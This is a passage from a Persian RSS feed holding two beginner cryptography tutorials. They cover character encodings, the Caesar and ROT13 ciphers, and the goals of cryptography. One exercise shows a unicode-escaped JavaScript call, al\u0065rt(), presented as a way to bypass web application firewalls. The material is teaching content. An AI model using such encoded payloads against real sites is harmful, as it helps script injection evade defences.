بتونید متوجه اش بشید (البته مبنا 16 اش مهم ترینشه که جدا بررسی کردم)بحث ASCII و UNICODE خیلی مبحث مهمیه و درکش باعث میشه خیلی جاها به مشکل نخورید ، این مبحث  تو بحث باینری زیاد مهم نیست ، ولی استفاده میشه ، مثلا وقتی میخوایم از یه API استفاده کنیم توی ویندوز ، دوتا تابع همیشه براش هست ، یکیش آخرش A هست و یکی W ، مثل CreateProcessA و CreateProcessW و اونی که آخرش A هست ASCII عه و اونی که W داره یونیکد محسوب میشه بحث Encoding بیشتر در سمت تست نفوذ و امنیت وب کاربرد داره و من کلیات این موضوع رو از دید رمزنگاری کلی توضیح دادم ، اگر خواستیم برای بحث امنیت وب توی بحث Encoding عمیق بشید ، این لینک عالیه : https://portswigger.net/web-security/essential-skills/obfuscating-attacks-using-encodings 5 - الگریتم های ROT13 و Caesar یا سزار :دلم نیامد این مورد رو اشاره نکنم بهش ،این هم جزو انکودینگ محسوب میشه ، جالبه بدونید که رمزنگاری اولین بار توسط جولیوس سزار ابداع شد و کاری که اون کرد جایگزینی حروف بود ، جایگاه عددی هر حرف رو در نظر بگیرید و موقع نوشتن ، مثلا هر حرف رو 6 تا ببرید جلو بعد بنویسید ، مثلا جایگاه A اول هست و B دوم و C سوم ، جایگاه G هفتم هست جایگاه H هشتم و I نهم ، حالا وقتی ما اینو 6 تا میبریم جلو (بجز خود اون حرف 6 تا) اگر ما کلمه AB رو بخوایم بنویسیم میشه GH این روش کار الگریتم سزار بود ، خود الگریتم سزار روی 7 کلمه بود جایگشتش ، یه الگریتم دیگه هم هست که مشابه همونه کارکردن و اونم ROT هست که بعدش یه عدد میاد ک نمایانگر اون جایگشته ، ROT7 طبیعتا همون الگرتیم سزار میشه دیگه ؟ اگر سریال مستر ربات رو با دقت دیده باشید، توی یه صحنش الیوت از RO13 برای بازگشایی یه پیام استفاده میکنه :) https://rot13.com/  https://cryptii.com/pipes/caesar-cipher سایت بالایی خیلی جوابه ، هرچی خواستید از Base64 و URL Encode و اینا تست کنید همه رو داره.تمرین اول : اگر وب کارید لینک بالا رو اول باز کنید و HTML Encoding رو بخونید ، این مورد برای کنترل حملات سمت کلاینت مثل XSS خیلی کاربردیه و ویرگولم ازش استفاده کرده ، این مقالرو با دقت خونده باشید متوجه میشید کجاشو میگم :)تمرین دوم : به عنوان تمرین دوم بعد خوندن کامل مقاله و اگر شد لینک بالا ، خودتون حدس بزنید کد پایین جزو کدوم دسته از انکودینگ حساب میشه ؟ما آمدیم یک تابع به زبان جاوا اسکریپت رو انکود کردیم که برای نشون دادن کوکی کاربرد داره و هدف ما دور زودن مکانیزم های امنیتی (WAF) هست al\u0065rt()در مطلب بعدی به بررسی مفاهیم Hashing  و HMAC میپردازیم ، هر سوال یا انتقادی بود در خدمتم ، یاعلی :)</description>
                <category>رمزنگاری مقدماتی به زبان ساده</category>
                <author>محمد حسن پزشکیان</author>
                <pubDate>Thu, 27 Jul 2023 22:14:09 +0330</pubDate>
            </item>
                    <item>
                <title>رمزنگاری مقدماتی به زبان ساده :  بررسی مفاهیم اولیه رمزنگاری</title>
                <link>https://virgool.io/b-crypto/crypto1-uk7jujntau2x</link>
                <description>سری مقالات رمزنگاری مقدماتی - بخش اول ، بررسی رمزنگاری و مفاهیم اولیه باسلام ، در این سری مقالات رمزنگاری به زبان ساده قصد دارم مفاهیم و کانسپت های رمزنگاری رو به زبان ساده به همراه مثال هایی از دنیای واقعی ( والبته کد زنی به صورت عملی ?) براتون بیان کنم ، اگر قصد ورود به دنیای امنیت را دارید یکی از حوزه هایی که باید با مفاهیم اون آشنا باشید رمزنگاریه ، چه وب و باگ بانتی بخواید کار کنید ، چه تست نفوذ شبکه ، چه باینری ، اکسپلویت ، و آنالیز بدافزار ، درون همه این ها مفاهیم رمزنگاری هست که اگر آشنا نباشید در کارتون حرفه ای نخواهید شداین مقالات به دو سری مقدماتی و پیشرفته تقسیم میشه ، در مباحث مقدماتی تمامی موارد مهمی که نیازه شما بلد باشید پوشش داده شده و در بحث پیشرفته ما توی هر حوزه به صورت عمیق وارد میشیم و تمامی موارد رو بررسی میکنیمدر نهایت اگر هرجاش سوالی براتون پیش آمد حتما بپرسید ، منتظر انتقادات و پیشنهادات شما هم هستیم ?1. رمزنگاری چیست ؟ فرض کنید مطابق شکل زیر الکس میخواد یک نامه به رز ارسال کنه ، چه کسی ممکنه بین راه باشه و این پیام رو بشنوه ؟ چه خطراتی پیامو تهدید میکنه ؟شکل 1-1ما در رمزنگاری سه اصل و هدف داریم : Confidentiality یا محرمانگی : این پیام بین من ارسال کننده و مخاطب خودم که دریافت میکنه فقط قابل خوندن باشه و بقیه نتونن بخوننش یا برای اون ها قابل فهم نباشه ، به بیان دیگر پیام محرمانه است برای همه بجز من و مخاطب مقصد .Integrity یا صحت : بیانگر این است که پیام قابل دستکاری و تغییر نباشد و اگر تغییری ایجاد شد معلوم شود Authentication یا احراز هویت : میگوید مخاطبان من همان کسانی هستند که میگویند و شخص دیگری نیستند و مطمئنید به شخصی که مدنظرتون هست پیام رو ارسال میکنیدیکی دیگر از اهدافی که مدنظر هست ولی به صورت غیر مستقیم به دست می آید و ما اون رو در رمزنگاری غیرمتقارن بدست می آوریم بحث Non-repudiation  یا عدم انکار هست که میگوید شخص دریافت کننده میتواند به بقیه اثبات کند که پیامی که دریافت کرده از فرستنده مذکور بوده ، مثلا در همین مثال رز میتواند ثابت کند که پیامی که دریافت کرده از شخصی به اسم الکس بوده نه شخص دیگر (این مورد به صورت غیر مستقیم توسط هدف سوم بدست می آید)برای خلاصه ، وقتی پیامی را الکس میخواهد به رز بفرستد ، میخواهد شخص دیگری این پیام را نخواند و نتواند تغییرش دهد ، و در عین حال مطمئن شود که رز خود رز است و نه شخص دیگر ، این کل هدف رمزنگاری است برای دستیابی به هدف اول که محرمانگی هست از Encryption استفاده میکنیم ، برای دست یابی به هدف دوم از Hashing و برای دستیابی به هدف سوم از دو مورد قبل به صورت ترکیبی.2. دیتا ذخیره شده و دیتا درحال عبورداده در علوم کامپیوتر به دو صورت وجود دارند ، یا دیتاهایی که ثابتن (روی جایی ریخته و ذخیره شدن) و یا دیتا هایی که در حال انتقال هستند (توسط کابل یا امواج رادیویی)هدف ما در رمزنگاری ، رسیدن به سه هدف بالا روی هردو مدل داده هست ، داده یا دیتایی که روی سیستم ذخیره شده و داده یا دیتایی که درحال عبور هست3. موارد کاربرد رمزنگاریرمزنگاری برای امنیت تهاجمی هم کاربرد دارد یا فقط امنیت تدافعی ؟تدافاعی : اطلاعات شما امن ذخیره و جابجا میشود و سارقان و هکرها امکان خوندن یا تغییر آن را ندارندتهاجمی : مهاجمین میتوانند اطلاعات شمارا رمز کنند و از شما باج بگیرند تا شما بتوانید به اطلاعات خود دسترسی داشته باشید یا مهاجمین برای شناسایی نشدن میتوانند اطلاعات خود را رمز کنند تا مکانیزم های امنیتی نتوانند متوجه وجود و کار آن ها شوند بازم مهاجمین میتوانند اطلاعات خود را رمزکنند و کارشناسان جرم شناسایی دیجیتال (Forensics ) نتوانند به سوابق آن ها دسترسی داشته باشند  و...همانطور که میبینید رمزنگاری کاربرد های گوناگونی دارد و هدف اصلی از توسعه و گسترش اون بحث امن سازی فضای دیجیتال بوده ولی همانطور که چاقو تیز در دست یک پزشک میتواند ابزار نجات بخش جان باشد ، در دستان یک سارق هم میتواند ابزار جان ستانی باشد ، از طرفی در تمامی مواردی که مهاجمین از رمزنگاری در جهت اهداف سوء خود استفاده میکنند ، یک متخصص با داشتن تجربه میتواند با آن ها مقابله کند و جلوی آن هارا بگیردقبل از هرچیز بگم که اگر درخوندن مطالب دچار سردرگمی شدید ، فقط ادامه بدید و در نهایت که یکبار مطالب رو کامل خوندید میتونید از مفاهیم و تفاوتاشون سر در بیارید ، رمزنگاری حوزه سختیه و اگر برای اولین باره ک واردش میشید یکم گیج کنندس، ولی با ادامه دادن و خوندن مطالب و پرسش میتونید بهشون مسلط بشید و از این بابت خیالتون راحت باشهدر مطلب بعدی به بررسی تفاوت Encoding و  Encryption میپردازیم ، هر سوال یا انتقادی بود در خدمتم ، یاعلی :)</description>
                <category>رمزنگاری مقدماتی به زبان ساده</category>
                <author>محمد حسن پزشکیان</author>
                <pubDate>Fri, 21 Jul 2023 11:32:00 +0330</pubDate>
            </item>
            </channel>
</rss>